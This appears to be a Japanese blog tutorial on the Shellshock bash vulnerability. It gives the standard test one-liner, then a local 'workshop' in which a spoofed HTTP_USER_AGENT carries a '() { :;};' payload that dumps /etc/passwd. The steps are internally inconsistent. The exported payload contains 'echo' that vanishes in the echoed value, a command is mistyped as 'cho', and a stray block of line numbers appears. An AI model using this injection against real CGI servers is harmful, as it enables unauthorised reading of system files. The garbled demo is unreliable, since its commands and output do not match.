ShellShockの確認コードとして

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

```というのがありますが、これで何が怖いの?っていう感じですよね?……というわけで、もう少しリアルな想定で遊んでみましょう。

<div class="section">
    ### 想定
    CGIを使ったwebサーバがあり、攻撃者がUSER_AGENTを偽装して攻撃してきている、という想定で遊びます。

</div>
<div class="section">
    ### ワークショップ
    1. CGIにアクセスされると環境変数「USER_AGENT」に自動的に値がセットされます。まずはそのシミュレート。
```sh
$ export HTTP_USER_AGENT=&#39;() { :;}; echo /bin/cat /etc/passwd&#39;
$ cho $HTTP_USER_AGENT
() { :;}; /bin/cat /etc/passwd

```2. CGIのプロセスが起動した想定で、bashを起動します
```sh
$ bash
# $FreeBSD: release/10.0.0/etc/master.passwd 256366 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &amp;:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
(以下略)

```と、このように/etc/passwdの中身が出力されてしまいます。これはマジヤバでしょう!!!

</div>